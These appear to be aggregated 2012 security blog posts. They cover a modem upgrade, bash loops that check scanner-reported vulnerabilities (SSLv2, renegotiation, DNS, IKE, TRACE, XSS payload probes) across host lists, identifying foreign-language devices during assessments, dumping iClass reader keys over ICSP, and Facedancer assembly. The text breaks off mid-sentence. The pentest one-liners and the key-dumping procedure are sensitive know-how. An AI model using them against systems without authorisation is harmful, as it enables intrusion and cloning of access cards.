    DOCSIS 1.0/2.0 vs. 3.0

    The major difference between DOCSIS 1.X/2.0 vs. 3.0 that concerns the average person is the fact that DOCSIS 3.0 supports channel bonding. Channel bonding means combining multiple downstream and upstream channels to support greater speeds. The maximum usable downstream throughput on a single channel is 38 Mbit/s (EuroDOCSIS is 50Mbit/s). Since a DOCSIS 2.0 modem only supports a single channel up and down, 38 Mbit/s is the theoretical downstream max. Thus, if the cable provider rolls out a 50 Mbit/s service (such as Comcast’s Blast 50), you will most likely not see the entire speed increase.

    So the big question is… Is Comcast channel bonding? Unfortunately, no one on the help chat or first level phone support could answer the question. It was not until I called upon an inside person did I get the answer I was seeking. The answer is YES! (In my area) Now, off to buy a modem… but which one?

    Modem Choices

    Personally, I am a huge fan of Motorola Cable modems because they just seem to work. I go all the way back to the DOCSIS 1.0 Motorola SB4100 (remember the hideous grey thing that came in a box with the gnarly surfer on it?) It just worked.


    Then to my current DOCSIS 2.0 Motorola SB5120. So familiar to many of us—you probably own one or owned one at some point. It just worked too.

    So, what model do we buy now? After doing a ton of research, I narrowed it down to two models:

    • Motorola SB6121
    • Motorola SB6180


    Motorola SB6121

    Amazon's description sounds great:

    “It harnesses the power of DOCSIS 3.0 technology to bond up to four downstream channels and four upstream channels--providing you advanced multimedia services with data rates of more than 100 Mbps in each direction. That makes gaming, shopping, downloading, working, high-quality voice and video conferencing, and peer-to-peer networking applications far more realistic, faster, and efficient than ever before.”

    Motorola SB6180

    This one sounds even better!

    “The SB6180 is the ideal competitive solution for the high-end residential user, the small home office owner, as well as for the medium-to-large business enterprise. Utilizing the power of DOCSIS® 3.0, the SB6180 enables channel bonding of up to 8 downstream channels and 4 upstream channels, which allows an operator to offer their customers advanced multimedia services with data rates of well over 300 Mbps in DOCSIS mode and 400 Mbps in EuroDOCSIS mode for downstream and 120 Mbps upstream.”

    So, if you didn’t see the bolded difference, the SB6180 is a “future proofing” device that was originally marketed for small home office and business use. Ironically, you can also find it cheaper than the SB6121 on Amazon.

    Here is a helpful chart from Wikipedia to understand the real numbers difference between 8 and 4 channel bonding:


    So which one did I buy? - The SLOWER one of course :)

    But why? - Comcast has a “Device Compatibility and Capability” page that lists the modems that work with their network. Unfortunately, the SB6180 is not listed anywhere on their site. Additionally, after asking no less than three Comcast techs, all of them said that the SB6180 would NOT work on their network—thus I did not take the chance. Although, the inner nerd in me is mad that I didn’t try it.

    Modem Indicators

    If you are not one for reading the documentation that accompanies purchases, shame on you—I don’t always read them either. However, the documentation with the SB6121 was very clear and useful. So useful, I scanned it into the computer for you. What you should notice is that if the downstream or upstream light turns blue, your cable provider is channel bonding. If either light is green, that channel is a single channel.



    Having read this, I mumbled to myself… Those lights better be blue!



    And they were! Whew! (Sorry to those who are blue/green color blind, you will have to take my word for it that upstream and downstream are blue)

    Let’s see what those blue lights buy us…

    Before upgrade tests

    I made sure to test the bandwidth before and after the cable modem swap. To test the bandwidth, I used the ever-popular site: speedtest.net. I had a respectable 28.60 Mbps down and 7.37 Mbps up prior to the modem upgrade.

    After upgrade tests

    Now for the moment I had anxiously been waiting for… the new modem test! At first I was getting the same speeds... Uhh What?? Then I reset the modem a couple of times and then finally--MOAR POWA!

    That is a 24.38 Mbps increase in download speed and a 3.54 Mbps increase in upload speed. Not too bad for a modem upgrade that was less than $100.

    Final thoughts

    Overall, I am happy with the modem upgrade as it does provide a significant speed increase. I am also happy with Comcast for the free speed increase and letting me know that my cable modem should be upgraded. However, I am disappointed in the lack of support or at the very least the technical knowledge pertaining to the SB6180 (supporting the 8 channel bonded downstream instead of 4). Additionally, I feel that companies could provide graphics or case studies such as the one provided here illustrating why people should upgrade their modems and the potential difference they could see.

    Hopefully this article has helped someone else make the decision to upgrade their modem. If anyone has the SB6180 working on Comcast’s network, I would be interested to know. Maybe if enough people have this modem working on their network, they will update their compatibility page.

    ↧
    ↧

    for loops! Bash One-liners to Validate Vulnerabilities on Multiple Hosts

    October 30, 2012, 3:30 am
    $
    0
    0
    By Amit Bagree.

    This is a quick blog post on one-liners. Recently I was working on manually validating vulnerabilities for a customer with a very large Internet presence. There were a lot of findings - each with hundreds of affected systems and I needed a quick way to confirm the vulnerability on each system and weed out false positives. I achieved this by using common *nix commands and tools. This might not get you a standing ovation or pick up a partner but they'll help you wrap up the automated scanning to give you time to spend on the real hax!

    CVE-2011-1473

    McAfee Vulnerability Manager: Web Server Supports Outdated SSLv2 Protocol
    Nessus: SSL Version 2 (v2) Protocol Detection 

     root@bt:~# for i in `cat Affected-SSLv2-IPs.txt`; do echo -e "\n----START "$i"----" ; echo -e "HEAD / HTTP/1.0\n\n" | openssl s_client -connect "$i" -ssl2; echo -e "\n----END "$i"----"; done > SSLv2-Output.txt


    CVE-2009-3555

    McAfee Vulnerability Manager: TLS / SSL Man-In-The-Middle Renegotiation Vulnerability
    Nessus: SSL / TLS Renegotiation DoS & SSL / TLS Renegotiation Handshakes MiTM Plaintext Data Injection 
      root@bt:~# paste SSL-Renego-IPs.txt | while read IP port; do echo "----START "$IP":"$port"----"; echo -e "HEAD / HTTP/1.0\nR\n\n" | ncat --ssl "$IP" "$port"; echo -e "\n----END "$IP":"$port"----\n"; done


    Where SSL-Renego-IPs.txt has an IP address and port number on each line separated by a space. You can use OpenSSL instead of Ncat as well. An online test tool is available here.

    CVE-2008-1447

    McAfee Vulnerability Manager: ISC BIND DNS Out-Of-Bailiwick Cache Poisoning
    Nessus: Multiple Vendor DNS Query ID Field Prediction Cache Poisoning 

      root@bt:~# for i in `DNS-CachePoison-IPs.txt`; do dig @"$i" +short porttest.dns-oarc.net TXT; done; > DNS-CachePoison-Output.txt


    CVE-2006-0987

    Nessus: DNS Server Spoofed Request Amplification DDoS 

      root@bt:~# for i in `cat DNSRootAmpDoS-IPs.txt`; do dig @"$i" . NS; done > DNSRootAmpDoS-Output.txt


    CVE-2002-1623

    McAfee Vulnerability Manager: Internet Key Exchange (IKE) Aggressive Mode with Pre-Shared Key
    Nessus: IKE Server Allows Aggressive Mode for Shared Secret Authentication 
      root@bt:~# for i in `cat IKE-AggresiveMode-IPs.txt`; do sudo ike-scan -M -A "$i"; done > IKE-AggresiveMode-Output.txt


    CVE-2003-1567, CVE-2004-2320, CVE-2010-0386

    McAfee Vulnerability Manager: Web Server HTTP TRACE or TRACK Methods Enabled
    Nessus: HTTP TRACE / TRACK Methods Allowed 

      root@bt:~# paste Trace-IPs-SSL.txt | while read IP port; do echo "----START "$IP":"$port"----"; echo -e "TRACE / HTTP/1.0\n\n" | ncat --ssl "$IP" "$port"; echo -e "\n----END "$IP":"$port"----\n"; done > Trace-SSL-IPs-Output.txt


    CVE-2006-3918, CVE-2007-5944

    McAfee Vulnerability Manager: F-Secure Policy Manager Expect Header Cross-Site Scripting
    Nessus: Web Server Expect Header XSS 

      root@bt:~# for i in `cat ExpectHeaderXss-IPs.txt`; do echo -e "\n----START "$i"----" ; echo -e "GET / HTTP/1.0\nExpect: <script>alert(1)</script>\n\n" | openssl s_client -quiet -connect "$i":443; echo -e "\n----END "$i"----"; done > M-ExpectHeaderXss-Output.txt


    CVE-2007-6203

    Nessus: Apache HTTP Method Request Entity XSS 

      root@bt:~# for i in `cat ApacheMethodRequestXSS-IPs.txt`; do echo -e "\n----START "$i"----" ; echo -e "<script>alert(1)</script> / HTTP/1.1\nHost: foundstone.com\nConnection: close\nContent-length: -1\n\n" | nc "$i" 80; echo -e "\n----END "$i"----"; done > ApacheMethodRequestXSS-Output.txt


    SSL Ciphers and Certs

    Couple of quick tips/tools for checking weak SSL ciphers, expired SSL certificates, certificates with weak signature algorithms, etc...

    SSLSmart

    Download here. Simply import your IPs with port info like 127.0.0.1:8080 from a text file and click ‘Start Test’. The advantage with SSLSmart is that if you perform a ‘Content’ test you can catch that pesky system which would allow a weak cipher connection but then display a page saying you are not good enough to connect to it. The two methods below won’t catch this false positive.

    SSLAudit.pl

    Another nice tool is this Perl script SSLAudit.pl. The nice feature about this is that the results are graded as per the SSLLabs SSL Server Rating Guide. If you are providing a list of IPs, you will notice quickly that the tool errors out without performing the checks if there is a hostname mismatch (Errors - Hostname verification failed, Hostname mismatch). Worry not! just disable the mismatch check. To apply the patch: 

    root@bt:~# wget https://sslaudit.googlecode.com/files/SSLAudit%20r6%20%2820100119%29.zip
    root@bt:~# unzip SSLAudit\ r6\ \(20100119\).zip 
    root@bt:~# wget https://github.com/OpenSecurityResearch/pentest-scripts/blob/master/SSLAudit-r6-20100119-RemoveHostnameCheck.patch
    root@bt:~# patch -p1 < SSLAudit-r6-20100119-RemoveHostnameCheck.patch


    Then you're all ready to:
      root@bt:~# cat All_SSL_IPs.txt | while read IP port; do echo -e "\n----START "$IP":"$port"----”; perl SSLAudit.pl "$IP" "$port"; echo -e "\n----END "$IP":"$port"----\n"; done > All_SSLAudit_Output.txt


    Oh by the way you would need the following modules for SSLAudit to work:
    • inifiles
    • libio-socket-ssl-perl
    • libtime-modules-perl

    ssl-enum-ciphers.nasl

      root@bt:~# nmap --script ssl-enum-ciphers -p port/s IP-Address/es


    Non-Recursive DNS Queries

      root@bt:~# for i in `cat DNS-NonRecursive-IPs.txt`; do dig @"$i" www.google.com A +norecurse; done > DNS-NonRecurive-Output.txt


    Assuming www.google.com would be cached. You can make it cache first if you wish.

    Checking Remote NTP version

      root@bt:~# for i in `cat NTPVersion-IPs.txt`; do echo -e "\n----START "$i"----" ; ntpq -c readvar "$i"; echo -e "\n----END "$i"----"; done > NTPVersion-Output.txt



    Check XSS in URL/URL parameter using Curl

      root@bt:~# curl 'http://127.0.0.1/<script>alert(1)</script>' | grep 'alert(1)'



    Download a specific file from multiple IPs

      root@bt:~# for i in `cat IPs.txt`; do curl -o "$i"_crossdomain.xml “http://"$i"/crossdomain.xml”; done
    for i in `cat IPs-SSL.txt`; do curl -k -o "$i"_robots.txt “https://"$i"/robots.txt”; done



    Ok, you get the point :)

    One final tip - use grep & wc or vim (:%s/pattern//gn) to check for number of occurrences of a pattern in your output.

    Hope you find these helpful and please share if you have some favorites as well.
    ↧

    Hacking Through Language Barriers

    November 13, 2012, 3:30 am
    $
    0
    0
    By Tony Lee and Chris Lee.

    When assessing a global corporation's external network, a security consultant may not immediately realize geographically where in the world they may end up. We are often given large IP blocks that contain hosts around the world. As you interact with these systems, you may discover that the tools/applications you regularly use do not support the language of your target! This article will help provide a few ideas on determining where in the world you end up and how to continue the hack—even if you cannot natively read what you are doing.

    I’m in! Now what?

    Inevitably you'll discover a misconfiguration or some other vulnerability that will yield you access to something on the target's external network. Sometimes you might not even be sure what the system is (e.g. access obtained via a weak password). We've seen tons of stuff fall into this category - from VOIP gateways and VPN appliances to SCADA sensors and controllers (ironically, we find the most unique equipment is usually available over dial-up --yeah War Games!).

    Nonetheless, here we are again, we have access to some unidentified host - but now what? Since we don’t manage the device and may not immediately know what it is, we look for some sign of a manufacturer or version in the banner. If it lacks a banner, we try to activate the help menu. This is all well and good, however what if the help menu or the banner show up as non-printable characters?

    What the hex?

    On a recent engagement, we ran into just this problem. The password prompt and a very lengthy copyright banner were legible, however all of the help functionality displayed as non-printable characters as shown in the example below:



    Since it is impossible to know every device out there the help menu can be crucial to navigating the device and turning low hanging fruit into further access or substantial impact. So, how do we interpret the menu when it looks like that?

    The first thing we have to assume is that the device and our client application do not speak the same language. This could be protocol or natural language. In the screenshot above, we see that the protocol is most likely not the culprit because we can read some of the menu—thus we have to assume this is a natural language issue. But what language is this?

    Location clues

    In order to pick the right language, it may help to figure out the geographic location of the device. Again, even though this may be a company that is headquartered in the US or elsewhere, it does not mean that the device is located in that country or even configured to be in that language since it is often local employees that have to manage the device.

    To help discover the location, we will use the following clues:
    • Manufacturer
    • Login banners
    • Hostname or DNS name
    • GeoIP Data


    Manufacturer

    The manufacturer can sometimes be an indicator of the language, but this is not always the case due to global manufacturing and distribution of equipment, however there are countries that tend to purchase and support their own local products more often than they purchase foreign equipment. With that said, this is probably the least accurate clue, but worth noting. In the case above, Yamaha (a Japanese company) makes the device to which we have gained access. Additionally, it looks like the Tokyo Institute of Technology and the Japan Advanced Institute of Science and Technology also have copyrights on this device. Let’s see if this holds any weight as we move along.

    Login banners

    Warning and consent to monitoring banners will often have the company name and possibly location of the device. If listed, this information is usually more accurate than extrapolating the device location from the manufacturer’s origin.

    Fictitious example:

    It is the policy of the law firm of the Smith group to monitor the Internet 
    access of its employees to ensure compliance with law firm policies.  
    Accordingly, your use of the Internet may be monitored.  The firm reserves 
    the right to disclose the fruits of any monitoring to law enforcement if it 
    deems such disclosure to be appropriate.

    Smith1 – Memphis

    Username:



    Many security industry experts advise against this disclosure as it makes it very easy for the attackers to find and validate their targets—however it is still prevalent. The client’s argument is that it is very useful for administrators to also know the location and ownership of the device. In this situation, there was no consent to monitoring or other warning banner to clue us into the location.

    Hostname or DNS name

    Another tip-off can be the hostname or DNS Fully Qualified Domain Name (FQDN). Companies will often put geographical location info either in the hostname or as part of the FQDN.

    Examples of this would be:
    • VAWin2k8Server
    • UKc2600
    • Sharepoint.company.co.jp


    Looking at the examples above, one could probably infer that the first example is in VA, in the US, the second example is located in the UK, and the last example is in Japan.

    A real-world example can be seen when doing a traceroute to a device that is relatively far away:

     traceroute to nyu.edu (128.122.119.209), 30 hops max, 60 byte packets
     1  56-92-10-6.static.twtelecom.net (56.92.10.6)  1.058 ms  1.307 ms  1.662 ms
     2  20-34-18-25.static.twtelecom.net (20.34.18.25)  4.991 ms  5.194 ms  5.196 ms
     3  lax2-pr2-xe-0-3-0-0.us.twtelecom.net (66.192.253.170)  6.109 ms  6.106 ms  6.239 ms
     4  xe-7-1-0.edge2.LosAngeles9.Level3.net (4.53.230.61)  6.438 ms  6.412 ms  6.423 ms
     5  vlan70.csw2.LosAngeles1.Level3.net (4.69.144.126)  7.172 ms vlan90.csw4.LosAngeles1.Level3.net (4.69.144.254)  13.436 ms vlan70.csw2.LosAngeles1.Level3.net (4.69.144.126)  7.302 ms
     6  ae-93-93.ebr3.LosAngeles1.Level3.net (4.69.137.45)  7.863 ms  8.785 ms ae-73-73.ebr3.LosAngeles1.Level3.net (4.69.137.37)  8.067 ms
     7  ae-3-3.ebr1.SanJose1.Level3.net (4.69.132.9)  15.933 ms  15.797 ms  17.652 ms
     8  ae-2-2.ebr2.NewYork1.Level3.net (4.69.135.186)  83.898 ms  84.117 ms  83.987 ms
     9  ae-82-82.csw3.NewYork1.Level3.net (4.69.148.42)  84.614 ms ae-72-72.csw2.NewYork1.Level3.net (4.69.148.38)  84.346 ms ae-92-92.csw4.NewYork1.Level3.net (4.69.148.46)  85.171 ms
    10  ae-1-60.edge4.NewYork1.Level3.net (4.69.155.20)  84.339 ms ae-3-80.edge4.NewYork1.Level3.net (4.69.155.146)  84.582 ms  84.581 ms
    11  NEW-YORK-UN.edge4.NewYork1.Level3.net (4.28.130.118)  85.143 ms  85.140 ms  85.119 ms




    It is interesting to see the physical path that packets take over long distance journeys.

    Unfortunately, in our case, this did not help us as we were working off of IP address only and the hostname was not displayed in the banner or resolvable via a reverse DNS lookup.

    GeoIP Data

    The last tactic you can use is a GeoIP location search engine and database. This is a mapping of real world physical locations to Internet Protocol addresses. I recommend using a couple of them to validate each other’s results. Sometimes you may get one that is pretty far off in accuracy.

    Some potential sites to use are:


    In our case, we included the result from geobytes below. This confirmed our suspicion from earlier that it may be Japanese.



    Overall, these tools are fairly accurate, sometimes even down to the city, and will almost always get you in the right country.

    Encoding/language support

    Now that we know the language we want to try, the first attempt at making it readable was to try another program. Unfortunately, Putty was no help in this instance. None of the language settings under Putty Configuration then Translation seemed to match a Japanese character encoding.



    It turns out that you need to download a separate version of Putty called Puttyjp. Since we did not want to install a special version of Putty for this, we looked through the character encoding in gnome-terminal . There are a few Japanese encodings, so we tried Japanese ISO-2022-JP as shown in the screenshot below:



    No dice!

    Let’s try another character encoding set, Japanese (SHIFTJIS)… Voila! We have something that is legible! Sorta… If you read Japanese you are in good shape. For the rest of us, we can either make a friend who reads the language or there is Google Translator.



    Google translator to the rescue

    The detect language feature in Google Translate guessed incorrectly, but it can be overridden. When in a pinch, this is not a bad option. The Ping help menu even makes sense when you read the English version—or at least enough to understand the command and how to use it. This was the same for the rest of the help menus which provided enough information to properly leverage the device.



    Conclusion

    Even though you may be assessing devices and networks around the world, it is not impossible to hit a home run on a device that you cannot even natively read. With enough patience and careful fiddling, a foreign device can be utilized as if it were a native device.

    For those of you that were wondering what the mystery device was… It was a VPN concentrator designed for small/medium size businesses. One clue, intentionally not disclosed earlier, was the very subtle model number in the banner: RT107e.



    Have you ever run into a language issue before? If so, what clues did you use to figure out the language of the device? What tools did you have to use to correctly render the text? What did you use to translate it once it was properly rendered?

    ↧
    Search

    Dumping iClass Keys

    November 20, 2012, 3:30 am
    $
    0
    0
    By Brad Antoniewicz.



    iClass, arguably the second most widely deployed technology in proximity card access systems (the first being the ProxCard II), is a proprietary RFID communications standard and card type. It provides an enhanced level of security over the ProxCard as it encrypts the data stored on the card and leverages a challenge/response form of authentication between the card and the reader. At the 27th Chaos Communication Congress (27C3) Henryk Plötz and Milosch Meriac took a look at iClass systems. They ingeniously dissected the RW400 iClass reader and released a method to dumping it's firmware via the exposed In Circuit Serial Programming (ICSP) interface of reader's PIC18F452 microcontroller. Within the firmware were the keys used as part of the iClass card to reader authentication making it possible for anyone with the appropriate skill to read and clone these cards. It was an awesome moment for RFID and hardware hacking geeks everywhere!

    The Downside

    But... there was a slight downside - the method of dumping the firmware was a arguably brutish. You have to actually overwrite a portion of the reader's firmware with "dumper code" that reads and then dumps the remaining portions of it's own firmware. To obtain a complete firmware image, you have to have access to two readers. This isn't that big of a deal when targeting "Standard Security" iClass implementations because you can just buy two RW400s, get their keys, and be forever happy since the keys are static across all cards/readers. But when it comes to "High Security" implementations, you have to physically remove a reader from the wall within your target's facilities, dump a portion of the firmware, then using another reader, dump the portion of the firmware you overwrote with the dumper code on the first reader. I should say that in theory you could just write the dumper code, dump the area of the firmware that contains the keys, and then just leave the reader in a inoperable state - but a good hacker wouldn't be a jerk and just leave a broken reader laying around so lets just forget about that option.

    Another Method

    Those interested in RFID hacking have probably stumbled upon http://www.proxclone.com/ at least once. It's a humble site in which the author takes on various RFID related hacking projects. One of the projects was to emulate the iClass work presented at 27C3. The author successfully re-enacted the method on a RW300 reader using the same general idea, but with the author's own code and different tools. Well done. Even more interesting though was that during the re-enactment, the author discovered a new method to gain access to the reader's keys - one that only required access to a single reader, didn't involve overwriting the firmware, and even yielded the last read card value stored by the reader!

    Another Downside

    There is also slight downside with this as well - the author described how to perform the attack, but implemented in a hardware prototype without releasing any code or schematics. This made it a little challenging for someone like me, who wanted to reproduce his work. Here's the hardware device he created, this image is straight from the whitepaper:



    Using the Old with the New

    Henryk Plötz and Milosch Meriac leveraged the FTDI TTL-232R-5V-WE to interact with the reader's microcontroller. It's a simple and elegant solution and I really wanted to use it to implement the proxclone method.

    Hardware

    The TTL-232R-5V-WE's true power is shown through its "bit bang" mode that allows its pins to be individually controlled. This makes it possible to emulate the PIC programming hardware without the restrictions imposed by more traditional PIC programmers. It costs around $20USD. The only additional hardware requirement is a power source to bring the PIC into High Voltage programming mode. I used a 9V battery power supply enclosure that included a switch so I can enable/disable it as needed. So all in all, we're looking at about a $25USD investment!

    The exposed 6 pin ICSP interface on RW300s/RW400s is usually under a piece of electrical tape on the back of the reader. It differs slightly from the standard ICSP interface but not by much. Connect the ground on your 9V power to the FTDI ground (Black) and the VCC to PIN 3 on the reader. The pinouts are as follows:

    9V PowerFTDIReader PINICSP
    Black (GND)Black1VSS
    N/ARed2VDD
    RedN/A3VPP
    N/AGreen4PGD
    N/AOrange5PGC
    N/ABrown6PGM


    The green FTDI wire looks very much Blue in this picture, my guess its just iPhone camera funky-ness:



    Software

    On the software side, I used much of the code from the PIC18F ICSP programmer to implement the read instructions used in the proxclone paper. The instructions seemed simple enough:


    The code can be found on our github repo here:

    We'll also need to install the D2XX drivers from FTDI. You can get away with using the standard libFTDI that's included with most Linux distributions (you'll just need to change some function names and add some #define's) but I choose the D2XX drivers. To install:
     root@bt:~# wget http://www.ftdichip.com/Drivers/D2XX/Linux/libftd2xx1.1.12.tar.gz
     root@bt:~# tar -zxvf libftd2xx1.1.12.tar.gz
     root@bt:~# cd release/build/i386
     root@bt:~/release/build/i386# sudo cp lib* /usr/local/lib
     root@bt:~/release/build/i386# sudo chmod 0755 /usr/local/lib/libftd2xx.so.1.1.12
     root@bt:~/release/build/i386# sudo ln -sf /usr/local/lib/libftd2xx.so.1.1.12 /usr/local/lib/libftd2xx.so



    I choose this method because its easy and I'm working on non-persistent BT5R3, alternate installation methods are detailed in the ReadMe.txt included within the archive.

    Dumping Keys

    Once the hardware is all set up, connect the FTDI adapter to your Linux box. You may have to rmmod the ftdi_sio and usbserial modules so that the D2XX drivers can work. 

     root@bt:~# rmmod ftdi_sio usbserial


    Next clone the github repo and compile:

     root@bt:~# git clone https://github.com/OpenSecurityResearch/iclass_dump.git
     root@bt:~# cd iclass_dump/
     root@bt:~/iclass_dump# gcc -lftd2xx -o iclass_eeprom_dump-d2xx iclass_eeprom_dump-d2xx.c


    Apply power to the reader (I just used a spliced Enercel 12V adapter I picked up at a nearby RadioShack), read a card, then run:

     root@bt:~/iclass_dump# ./iclass_eeprom_dump-d2xx -v


    iclass_eeprom_dump-d2xx will give you 20 seconds to connect the FTDI cable and apply the VPP programming voltage.



    The program will continue and start dumping. About 10 seconds later, you'll have the full memory dump. Note that I'm not disclosing the offsets for any keys, so you'll have to figure them out yourself. iclass_eeprom_dump-d2xx automatically provides the key permutations so you don't have to worry about running them through permute.php. 
     root@bt:~#  ./iclass_eeprom_dump-d2xx -v
    iClass EEPROM Dumper
    brad.antoniewicz@foundstone.com
    ------------------------------------------------
    Connecting to FTDI TTL-232R-5V-WE...Connected!!
    Checking bitmode...Success! - 0xf0

    Make sure at least one card has been read by the reader, then
    connect your FTDI TTL-232R-5V-WE to the reader's ICSP port
    and introduce the VPP power

    Sleeping for 1 Seconds while you do so....

    Starting EEPROM Dump
            MOVLW       - Writing PGM_CORE_INST 0x0E00
            MOVWF FSR0H       - Writing PGM_CORE_INST 0x6EEA
            MOVLW       - Writing PGM_CORE_INST 0x0E00
            MOVWF FSR0L       - Writing PGM_CORE_INST 0x6EE9

    Dumping (takes ~10 seconds)..
    Dump Complete!

    Full EEPROM Dump:
    -------------------------------------------------------

                    [ REMOVED ]

    -------------------------------------------------------

    Parsed Keys:
            HID Master:
                    [ REMOVED ] (parsed)
                    [ REMOVED ] (rev. permutated)
                    [ REMOVED ] (shaved)
            TDES K1:
                    [ REMOVED ] (parsed)
                    [ REMOVED ] (rev. permutated)
                    [ REMOVED ] (shaved)
            TDES K2:
                    [ REMOVED ] (parsed)
                    [ REMOVED ] (rev. permutated)
                    [ REMOVED ] (shaved)
    Parsed Last Read Card:
            Wiegand:        [ REMOVED ]
            First 4 of CSN: [ REMOVED ]
            Full CSN:       [ REMOVED ] (not always right)


    All Done!  - Closing the adapter
    Dont forget to disconnect the FTDI from the reader's ICSP



    Enjoy!
    ↧

    Solder Time! FaceDancer11 and GoodFET41 Assembly

    November 27, 2012, 3:00 am
    $
    0
    0
    By Brad Antoniewicz and Tushar Dalvi.



    At Recon 2012 Travis Goodspeed and Sergey Bratus released the Facedancer, an extremely flexible piece of hardware for emulating and tinkering with USB devices. Although the Facedancer is very much it's own device, it evolved from another one of Travis Goodspeed's projects, the GoodFET, which is his own customized Flash Emulation Tool debugger for the MSP430 microcontroller.

    The PCBs for each device can be ordered online however, the devices are not currently available pre-assembled. So if you want to play with them, you'll need to learn how to solder! Although some may see this as a pain, I personally love it and hope assembled boards are never released - it forces people to learn the fundamentals of what they're doing.

    I've done almost no surface mount soldering before and have always wanted to play with USB so the Facedancer was a perfect project for me. Although I don't have much use for the GoodFET, two were generously included within my shipment, so I ordered the spare components and built them too.

    Components

    Both the Facedancer and GoodFET include a parts list on their description pages but when you go to order them from any supplier, you'll quickly realize there are a seemingly endless combination of options to choose from. After spending some time putting together an actual order, I jumped on #goodfet and asked for a little help. Luckily the channel is populated with hardware rock stars like Michael Ossmann and dragorn who were kind enough to help redefine my order, pointing out corrections to the online parts list that weren't published yet and alternate crystal options. Throughout the entire assembly process, these two defied standard irc help channel etiquette by offering extremely useful tips and troubleshooting suggestions - These guys ROCK!

    In the end, here's the detailed part list I used. Everything was ordered from DigiKey, since that's were I bought my first 6.5535MHz crystal. I made a reddit post, just in case you want to add any updates.

    PackagePg. DescriptionDigiKey PartDigiKey Description
    SSOP28FT232RL768-1007-1-NDIC USB FS SERIAL UART 28-SSOP
    QFP64MSP430F2618TPMMSP430F2618TPMIC MCU 16BIT 116K FLASH 64-LQFP
    LQFP32MAX3420EMAX3420EECJ+-NDIC USB PERIPH CONTROLLER 32TQFP
    06031.0µF Capacitors587-1242-1-NDCAP CER 1UF 10V 10% X7R 0603
    06030.1µF Decoupling Capacitors490-1532-1-NDCAP CER 0.1UF 16V 10% X7R 0603
    060318pF Capacitors445-1272-1-NDCAP CER 18PF 50V 5% NP0 0603 (see note)
    060327pF Capacitors490-1413-1-NDCAP CER 27PF 50V 5% NP0 0603
    HC49/UP**12MHz SMD Crystal, 18pF535-10218-1-NDCRYSTAL 12.000 MHZ 18PF SMD
    06030603 LED754-1121-1-NDLED 1.6X0.8MM 568NM GRN CLR SMD
    0603330R LED Series ResistorsRMCF0603JT330RCT-NDRES 330 OHM 1/10W 5% 0603 SMD
    060333R USB Series ResistorsRMCF0603JT33R0CT-NDRES 33 OHM 1/10W 5% 0603 SMD
    N/AUSB Mini Receptacle UX60-MB-5STED2992CT-NDCONN USB MINI B R/A SMD
    Note: Although the 18pF capacitor might be a good capacitor, it is not ideal for the chosen crystal so the 27pF cap was chosen

    Tools

    Here's a list of tools I used to put it all together. Hopefully you have most of these already:

    Soldering Iron. One of the biggest things is to get a good soldering iron - leave the crappy radio shack one on the shelf and get one with temperature control and a fine tip. I went for the Weller WES51.
    Flux! You won't understand how amazing this is until you use it. Then you'll question what the heck you were doing without out. I used the RadioShack stuff. Its messy, dragorn recommended ChipQuik No Clean Flux.
    Head mounted magnifier - There's probably a more official name for this :) It was extremely useful to have a head mounted magnifier over those stupid helping hands. I bought this one.
    Tweezers - Impossible to place surface mount capacitors without these guys. I used the Wiha 7a SA-ESD, which I think these are close to.
    Tip Cleaner. This helps keep the tip clean and help with spreading the solder when its dirty and needs to be tinned. This is the Hakko 599B.
    Multimeter - Extremely important for any electronics project. This is the Extech 430
    Desoldering Braid - Helps when you mess up. So much easier to when you use a little flux with it. I used the RadioShack stuff.
    Solder - I used the RadioShack's 0.022" solder, that they don't have on their site.
    Hot Plate - When I started this project out, I was really excited to do some hot plate reflow. Before you buy anything, read the rest of this article :) This is the Brentwood TS-337
    Soldering Paste - For hotplate reflow. I used the No Clean Zeph Paste. They didn't ship me the fine tips I ordered and haven't responded to any of my emails. :/
    Infrared Thermometer - Needed for the hot plate reflow, this is the Kintrex IRT0421

    Hot Plate Reflow

    I wanted to try out the hot plate reflow technique because it looked really easy and seemed like a fun way to get everything done quickly. I also came across another great blog post showing how someone else used it for an earlier GoodFET, which helped me make my decision.

    Here's a quick video I put together showing the process:



    Overall, I feel like hotplate reflow is cool but I don't know that it was really needed. I sort of cheated by running a super thin line of paste down across all of the pads on the PCB rather then being more precise with a toothpick. Since the paste didn't flow smoothly out of the syringe, I ended up getting uneven globs which eventually turned into bridges once the reflow completed. To fix the bridges, I ended up drag soldering (which is one of the most popular ways to hand solder surface mount components) so I could have probably just skipped the hotplate entirely. Also, the hotplate temperature is pretty hard to control, after completing the first board it took a long time for the plate to decrease in temperature, I got impatient and threw on the next board which put me pretty close to frying everything.

    Drag Soldering

    For future projects, I'll be drag soldering my surface mount components. It's just plain easy. Turn your soldering iron to about 725F, place the component, apply a generous amount of flux, tack down one pin to hold everything in place then semi-slowly drag the iron over multiple pins. The solder will hop from pin to pin leaving just enough to hold the part in place. This is an awesome video by Curious Inventor demonstrating the method:



    Troubleshooting

    Once I had everything assembled, I connected it to my system and discovered the FT232R chip was not being recognized. I used the audible continuity tester on my multimeter to debug the issue. Starting from the host side USB connector, I tested the paths between the connector and the FTDI input pins which quickly revealed I had a small solder bridge. I used a some flux with the desoldering braid to clean it up and then drag soldered it a little more to make sure I had a good joint.

    After that I gave everything a close inspection under magnification again and noticed a couple more tiny bridges. As I removed them, I accidentally broke one of the pins off of the MSP430. Normally this would be an issue, but since the pin wasn't used, it was ok to leave it alone. I reconnected the Facedancer to my computer and it worked!



    Software

    Once everything is assembled on the Facedancer, connect the host side to your system. dmesg should show a similar set of logs:

     root@bt:~# dmesg
    [7097779.953802] ftdi_sio 5-1:1.0: FTDI USB Serial Device converter detected
    [7097779.953882] usb 5-1: Detected FT232RL
    [7097779.953889] usb 5-1: Number of endpoints 2
    [7097779.953896] usb 5-1: Endpoint 1 MaxPacketSize 64
    [7097779.953903] usb 5-1: Endpoint 2 MaxPacketSize 64
    [7097779.953909] usb 5-1: Setting MaxPacketSize 64
    [7097779.955746] usb 5-1: FTDI USB Serial Device converter now attached to ttyUSB0



    And you'll also see a FTDI entry using lsusb
     root@bt:~# lsusb
    Bus 005 Device 045: ID 0403:6001 Future Technology Devices International, Ltd FT232 USB-Serial (UART) IC



    Next you'll need to install the prerequisites, download all of the supporting code from the SVN server, and build the client

     root@bt:~# apt-get install python-sqlite python-serial
     root@bt:~# svn co https://goodfet.svn.sourceforge.net/svnroot/goodfet
     root@bt:~# cd goodfet/trunk/client
     root@bt:goodfet/trunk/client# make link



    You can define the board you're using via the board environment variable. I tend to use different boards so I'll specify it on the command line. It's recommended that you first backup the info flash (be sure to store it in info.txt) from the board before installing the firmware, to do so:

